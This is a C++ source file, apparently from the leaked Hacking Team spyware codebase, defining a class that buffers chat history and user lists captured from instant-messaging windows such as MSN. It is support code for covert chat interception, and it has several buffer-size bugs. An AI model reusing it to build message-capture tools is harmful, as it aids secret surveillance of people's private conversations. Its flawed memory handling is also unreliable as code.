hackedteam/core-win32

/*
* QProperty class
*
* Coded by: Quequero
* Date: 14/Mar/2008
*
*/

#include <exception>
#include <new>
using namespace std;

#include "QProperty.h"

QProperty::QProperty()
{
    uVersion = 0;
    hwnd = NULL;
    pwId = NULL;
    pwHistory = NULL;
    pwUsers = NULL;
    pwIm = NULL;
    bAcquired = TRUE;
    bUpdated = FALSE;
}

QProperty::~QProperty()
{
    if(pwId)
        delete[] pwId;

    if(pwHistory)
        delete[] pwHistory;

    if(pwUsers)
        delete[] pwUsers;

    if(pwIm)
        delete[] pwIm;
}

const HWND QProperty::GetHandle() {
    return hwnd;
}

void QProperty::SetHandle(const HWND hw) {
    hwnd = hw;
}

const PWCHAR QProperty::GetId() {
    if(pwId == NULL)
        return L"";

    return pwId;
}

BOOL QProperty::SetId(PWCHAR pId) {
    UINT len;

    if(pwId != NULL){
        delete[] pwId;
        pwId = NULL;
    }

    len = wcslen(pId);

    pwId = new(std::nothrow) WCHAR[len + 2];

    if(pwId == NULL)
        return FALSE;

    memset(pwId, 0x00, len + 2);

    if(!wcsncpy_s(pwId, len + 2, pId, len))
        return TRUE;

    return FALSE;
}

const PWCHAR QProperty::GetHistory() {
    //if(pwHistory == NULL)
    //    return L"";

    return pwHistory;
}

UINT QProperty::GetHistoryLength()
{
    if(pwHistory == NULL)
        return 0;

    return wcslen(pwHistory);
}

// Effettua l'inizializzazione della history durante il primo grab
BOOL QProperty::SetHistory(PWCHAR pHistory) {
    return AppendHistory(pHistory);
}

const PWCHAR QProperty::GetUsers() {
    if(pwUsers == NULL)
        return L"";

    return pwUsers;
}

BOOL QProperty::SetUsers(PWCHAR pUsersList) {
    UINT len;

    if(pwUsers != NULL){
        delete[] pwUsers;
        pwUsers = NULL;
    }

    len = wcslen(pUsersList);

    pwUsers = new(std::nothrow) WCHAR[len + 2];

    if(pwUsers == NULL)
        return FALSE;

    memset(pwUsers, 0x00, len + 2);

    if(!wcsncpy_s(pwUsers, len + 2, pUsersList, len))
        return TRUE;

    return FALSE;
}

const PWCHAR QProperty::GetType()
{
    if(pwIm == NULL)
        return L"";

    return pwIm;
}

BOOL QProperty::SetType(PWCHAR pwType)
{
    UINT uLen;

    if(pwType == NULL)
        return FALSE;

    if(pwIm != NULL){
        delete[] pwIm;
        pwIm = NULL;
    }

    uLen = wcslen(pwType) + 1;

    pwIm = new(std::nothrow) WCHAR[uLen];

    if(pwIm == NULL)
        return FALSE;

    memset(pwIm, 0x00, uLen * sizeof(WCHAR));
    memcpy(pwIm, pwType, (uLen - 1) * sizeof(WCHAR));

    return TRUE;
}

BOOL QProperty::GetAcquiredStatus()
{
    return bAcquired;
}

void QProperty::SetAcquiredStatus(BOOL bStatus)
{
    bAcquired = bStatus;
}

BOOL QProperty::GetUpdated()
{
    return bUpdated;
}

void QProperty::SetUpdated(BOOL bUp)
{
    bUpdated = bUp;
}

// Torna l'ultima riga contenuta nella history, la funzione deve
// discriminare tra gli "a capo" inseriti da noi e quelli che,
// eventualmente, puo' aver inserito l'utente nella chat con ctrl + invio.
const PWCHAR QProperty::GetLastLine()
{
    UINT len;
    PWCHAR wLast;
    register UINT i;

    if(pwHistory == NULL)
        return L"";

    len = GetHistoryLength();

    if(len == 0)
        return NULL;

    wLast = pwHistory + (len - 1);

    for(i = len - 2; i > 0; i--){
        if(!wcsncmp(pwHistory + i, L"\n", 1)){
            // Se prima del \n c'e' un \r non e' una riga di history, ma
            // una riga utente.
            if(wcsncmp(pwHistory + i - 1, L"\r", 1))
                return pwHistory + i;
        }
    }

    if(pwHistory[0] == '\n')
        return pwHistory + 1;

    return pwHistory;
}

BOOL QProperty::CompareLastLine(PWCHAR pwLast)
{
    UINT uLastLen, uHistLen;

    if(pwLast == NULL || GetHistory() == NULL)
        return FALSE;

    uLastLen = wcslen(pwLast);
    uHistLen = GetHistoryLength();

    if(uHistLen == 0)
        return FALSE;

    if(pwLast[uLastLen - 1] == '\n'){
        if(!wcsncmp(GetLastLine(), pwLast, uHistLen))
            return TRUE;        
    }else{
        if(uLastLen != uHistLen - 1)
            return FALSE;

        if(!wcsncmp(GetLastLine(), pwLast, uHistLen - 1))
            return TRUE;
    }

    return FALSE;
}

// Accoda alla history pHistory e se necessario appende un \n. Se
// non e' presente alcuna history allora viene allocata memoria
// e la history viene inizializzata.
BOOL QProperty::AppendHistory(PWCHAR pHistory) {
    UINT wHistoryLength, wActualHistoryLength, wNewHistoryLength;
    PWCHAR wNewHistory = NULL;

    if(pHistory == NULL)
        return TRUE;

    wHistoryLength = wcslen(pHistory); 

    // Se abbiamo gia' una history, appendi la nuova e, se non c'e'
    // gia', aggiungi uno "\n"
    if(wHistoryLength != 0 && pwHistory != NULL){
        if(!wcsncmp(GetLastLine(), pHistory, wHistoryLength))
            return TRUE;

        wActualHistoryLength = GetHistoryLength();
        wNewHistory = new(std::nothrow) WCHAR[wActualHistoryLength + wHistoryLength + 2];
        wNewHistoryLength = wActualHistoryLength + wHistoryLength + 2;

        if(wNewHistory == NULL)
            return FALSE;

        memset(wNewHistory, 0x00, sizeof(WCHAR) * (wNewHistoryLength));

        if(wcsncpy_s(wNewHistory, wNewHistoryLength, pwHistory, wActualHistoryLength)){
            delete[] wNewHistory;
            return FALSE;
        }

        wcscat_s(wNewHistory, wNewHistoryLength, pHistory);

        if(wcsncmp(wNewHistory + (wNewHistoryLength - 1), L"\n", 1) && wcsncmp(pwHistory + (wHistoryLength - 1), L"\r", 1))
            wcscat_s(wNewHistory, wNewHistoryLength, L"\n");

        delete[] pwHistory;
        pwHistory = wNewHistory;
        return TRUE;
    }


    wHistoryLength = wcslen(pHistory);

    // Se e' la prima volta che chiamiamo questa funzione, inizializza
    // la prima riga di history
    if(wHistoryLength != 0 && pwHistory == NULL){
        pwHistory = new(std::nothrow) WCHAR[wHistoryLength + 2];

        if(pwHistory == NULL)
            return FALSE;

        memset(pwHistory, 0x00, (sizeof(WCHAR) * wHistoryLength) + (2 * sizeof(WCHAR)));

        wcsncpy_s(pwHistory, wHistoryLength + 2, pHistory, wHistoryLength);

        if(wcsncmp(pwHistory + (wHistoryLength - 1), L"\n", 1) && wcsncmp(pwHistory + (wHistoryLength - 1), L"\r", 1))
            wcscat_s(pwHistory, wHistoryLength + 2, L"\n");

        return TRUE;
    }

    if(wNewHistory)
        delete[] wNewHistory;

    return FALSE;
}

// Aggiunge un user alla coda degli utenti ed effettua l'escape,
// il delimiter scelto e' il seguente, virgolette escluse: " | ".
// Se bTerminator e' FALSE il terminatore non viene accodato.
BOOL QProperty::AppendUser(PWCHAR pUser, BOOL bTerminator)
{
    UINT uLen, uPipes;
    PWCHAR wTmp, wIter, wUsersIter, wNewList;

    if(pUser == NULL || pUser[0] == 0)
        return TRUE;

    wIter = pUser;
    uPipes = 0;

    // Contiamo i pipe
    while(wTmp = wcschr(wIter, '|')){
        uPipes++;
        wIter = wTmp + 1;
    }

    if(uPipes){
        if(pwUsers == NULL){
            uLen = wcslen(pUser) + uPipes + sizeof(WCHAR);

            if(bTerminator)
                uLen += sizeof(" | ");

            pwUsers = new(std::nothrow) WCHAR[uLen];
            wUsersIter = pwUsers;

            if(pwUsers == NULL)
                return FALSE;

            memset(pwUsers, 0x00, sizeof(WCHAR) * uLen);

            wIter = pUser;

            // Raddoppia tutti i pipes
            while(wTmp = wcschr(wIter, '|')){
                memcpy(wUsersIter, wIter, ((UINT)wTmp - (UINT)wIter) + sizeof(WCHAR));
                wUsersIter += (wTmp - wIter) + 1;
                memcpy(wUsersIter, L"|", sizeof(L"|"));
                wUsersIter += 1;
                wIter = wTmp + 1;
            }
            
            memcpy(wUsersIter, wIter, wcslen(wIter) * sizeof(WCHAR));
        }else{
            uLen = wcslen(pwUsers) + wcslen(pUser) + uPipes + sizeof(WCHAR);

            if(bTerminator)
                uLen += sizeof(" | ");

            wNewList = new(std::nothrow) WCHAR[uLen];
            
            if(wNewList == NULL)
                return FALSE;

            memset(wNewList, 0x00, uLen * sizeof(WCHAR));
            memcpy(wNewList, pwUsers, wcslen(pwUsers) * sizeof(WCHAR));

            wIter = pUser;
            wUsersIter = wNewList + wcslen(pwUsers);

            // Raddoppia tutti i pipes
            while(wTmp = wcschr(wIter, '|')){
                memcpy(wUsersIter, wIter, ((UINT)wTmp - (UINT)wIter) + sizeof(WCHAR));
                wUsersIter += (wTmp - wIter) + 1;
                memcpy(wUsersIter, L"|", sizeof(L"|"));
                wUsersIter += 1;
                wIter = wTmp + 1;
            }

            memcpy(wUsersIter, wIter, wcslen(wIter) * sizeof(WCHAR));
            delete[] pwUsers;
            pwUsers = wNewList;
        }
    }else{
        if(pwUsers == NULL){
            uLen = wcslen(pUser) + sizeof(WCHAR);

            if(bTerminator)
                uLen += sizeof(" | ");

            pwUsers = new(std::nothrow) WCHAR[uLen];
            wUsersIter = pwUsers;

            if(pwUsers == NULL)
                return FALSE;

            memset(pwUsers, 0x00, sizeof(WCHAR) * uLen);
            memcpy(pwUsers, pUser, sizeof(WCHAR) * wcslen(pUser));
        }else{
            uLen = wcslen(pwUsers) + wcslen(pUser) + sizeof(WCHAR);

            if(bTerminator)
                uLen += sizeof(" | ");

            wNewList = new(std::nothrow) WCHAR[uLen];

            if(wNewList == NULL)
                return FALSE;

            memset(wNewList, 0x00, uLen * sizeof(WCHAR));
            memcpy(wNewList, pwUsers, wcslen(pwUsers) * sizeof(WCHAR));

            wUsersIter = wNewList + wcslen(pwUsers);

            memcpy(wUsersIter, pUser, wcslen(pUser) * sizeof(WCHAR));

            delete[] pwUsers;
            pwUsers = wNewList;
        }
    }

    if(bTerminator)
        wcsncat_s(pwUsers, uLen, L" | ", sizeof(L" | "));

    return TRUE;
}

// Appende il terminatore " | " soltanto se c'e' gia' qualche
// username nella lista
BOOL QProperty::AppendTerminator()
{
    UINT uLen;
    PWCHAR pUsers = NULL;

    if(pwUsers == NULL || !wcslen(pwUsers))
        return FALSE;

    uLen = wcslen(pwUsers) + sizeof(" | ") + sizeof(WCHAR);

    pUsers = new(std::nothrow) WCHAR[uLen];

    if(pUsers == NULL)
        return FALSE;

    memset(pUsers, 0x00, uLen * sizeof(WCHAR));
    memcpy(pUsers, pwUsers, wcslen(pwUsers) * sizeof(WCHAR));

    wcsncat_s(pUsers, uLen, L" | ", 3);

    delete[] pwUsers;
    pwUsers = pUsers;
    return TRUE;
}

BOOL QProperty::CleanHistory()
{
    UINT uLen;
    PWCHAR wLast, wNewHistory;

    wLast = GetLastLine();

    // Non abbiamo grabbato nulla, quindi non c'e'
    // nulla cancellare.
    if(wLast == NULL){
        bUpdated = FALSE;
        return TRUE;
    }

    uLen = wcslen(wLast);

    if(uLen == GetHistoryLength())
        return TRUE;

    wNewHistory = new(std::nothrow) WCHAR[uLen + 1];

    if(wNewHistory == NULL){
        bUpdated = FALSE;
        return FALSE;
    }
        
    if(wLast == NULL){
        delete[] wNewHistory;
        bUpdated = FALSE;
        return FALSE;
    }

    memset(wNewHistory, 0x00, sizeof(WCHAR) * (uLen + 1));
    memcpy(wNewHistory, wLast, sizeof(WCHAR) * uLen);

    if(pwHistory)
        delete[] pwHistory;

    pwHistory = wNewHistory;

    return TRUE;
}

BOOL QProperty::ClearHistory()
{
    if(pwHistory == NULL)
        return TRUE;

    delete[] pwHistory;
    pwHistory = NULL;

    return TRUE;
}

void QProperty::ClearUsersList()
{
    if(pwUsers){
        delete[] pwUsers;
        pwUsers = NULL;
    }
}

// Helper function per MSN, converte i \r in \n
// In UNICODE: 
// "\n" = 0A00
// "\r" = 0D00
BOOL QProperty::ConvertNewLine() {
    PWCHAR wTmp, wIter;

    if(pwHistory == NULL)
        return FALSE;

    wIter = pwHistory;

    while(wTmp = wcschr(wIter, '\r')){
        wTmp[0] = '\n';
        wIter = wTmp;
    }

    return TRUE;
}

BOOL QProperty::ConvertNewLine(PWCHAR wHistory)
{
    PWCHAR wTmp, wIter;

    if(wHistory == NULL || !wcslen(wHistory))
        return FALSE;

    wIter = wHistory;

    while(wTmp = wcschr(wIter, '\r')){
        wTmp[0] = '\n';
        wIter = wTmp;
    }

    return TRUE;
}

BOOL QProperty::StripCarriageReturn()
{
    UINT len, i, j, uCount = 0;
    PWCHAR wOut = NULL;

    if(pwHistory == NULL || wcslen(pwHistory) == 0)
        return FALSE;

    len = wcslen(pwHistory);

    for(i = 0; i < len; i++){
        if(pwHistory[i] != '\r')
            uCount++;
    }

    wOut = new(std::nothrow) WCHAR[uCount + 1];

    if(wOut == NULL)
        return FALSE;

    memset(wOut, 0x00, sizeof(WCHAR) * (uCount + 1));

    for(i = 0, j = 0; i < uCount; i++){
        if(pwHistory[i] != '\r'){
            wOut[j] = pwHistory[i];
            j++;
        }
    }

    delete[] pwHistory;
    pwHistory = wOut;

    return TRUE;
}

BOOL QProperty::StripLeadingReturn()
{
    DWORD csrc, cdst;

    if(pwHistory == NULL || wcslen(pwHistory) == 0)
        return FALSE;

    // Strippiamo tutti gli "a capo" all'inizio del testo
    for(csrc=0; pwHistory[csrc]==L'\r' || pwHistory[csrc]==L'\n'; csrc++);
    for(cdst=0; pwHistory[csrc]; cdst++, csrc++)
        pwHistory[cdst] = pwHistory[csrc];
    pwHistory[cdst] = 0;
    return TRUE;
}

// Cerca wSearch nella history e ne torna il puntatore alla prima occorrenza
const PWCHAR QProperty::FindLine(PWCHAR wSearch) const
{
    if(pwHistory == NULL || !wcslen(pwHistory) || wSearch == NULL || !wcslen(wSearch))
        return NULL;

    return wcsstr(pwHistory, wSearch);
}

// Tronca la history ad una lunghezza predefinita
BOOL QProperty::TruncateHistory()
{
    UINT uLen;
    PWCHAR wHistory;

    uLen = GetHistoryLength();

    if(pwHistory == NULL || uLen < TRUNCATE_LENGTH)
        return FALSE;

    wHistory = new(std::nothrow) WCHAR[TRUNCATE_LENGTH + 1];

    if(wHistory == NULL)
        return FALSE;

    memset(wHistory, 0x00, (TRUNCATE_LENGTH + 1) * sizeof(WCHAR));
    memcpy(wHistory, pwHistory + (uLen - TRUNCATE_LENGTH), TRUNCATE_LENGTH * sizeof(WCHAR));

    delete[] pwHistory;
    pwHistory = wHistory;
    return TRUE;
}

const PWCHAR QProperty::wcsrstr(PWCHAR str, PWCHAR search)
{
    UINT uLenStr, uLenSearch;
    PWSTR wTmp, wIter;

    uLenStr = wcslen(str);
    uLenSearch = wcslen(search);

    if(uLenStr == 0 && uLenSearch)
        return NULL;

    // Se si cerca con una stringa vuota, torna il puntatore
    // all'inizio della stringa in cui cercare
    if(uLenSearch == 0 && uLenStr)
        return str;

    // Se la stringa da cercare e' piu' lunga della stringa in cui
    // cercare, torna NULL.
    if(uLenStr < uLenSearch)
        return NULL;

    if(uLenSearch == uLenStr)
        return wcsstr(str, search);

    wTmp = str + (uLenStr - uLenSearch);

    do{
        wIter = wcsstr(wTmp, search);

        if(wIter)
            return wIter;

        //wTmp -= uLenSearch;
        wTmp--;

    }while(wTmp >= str);

    return wcsstr(str, search);
}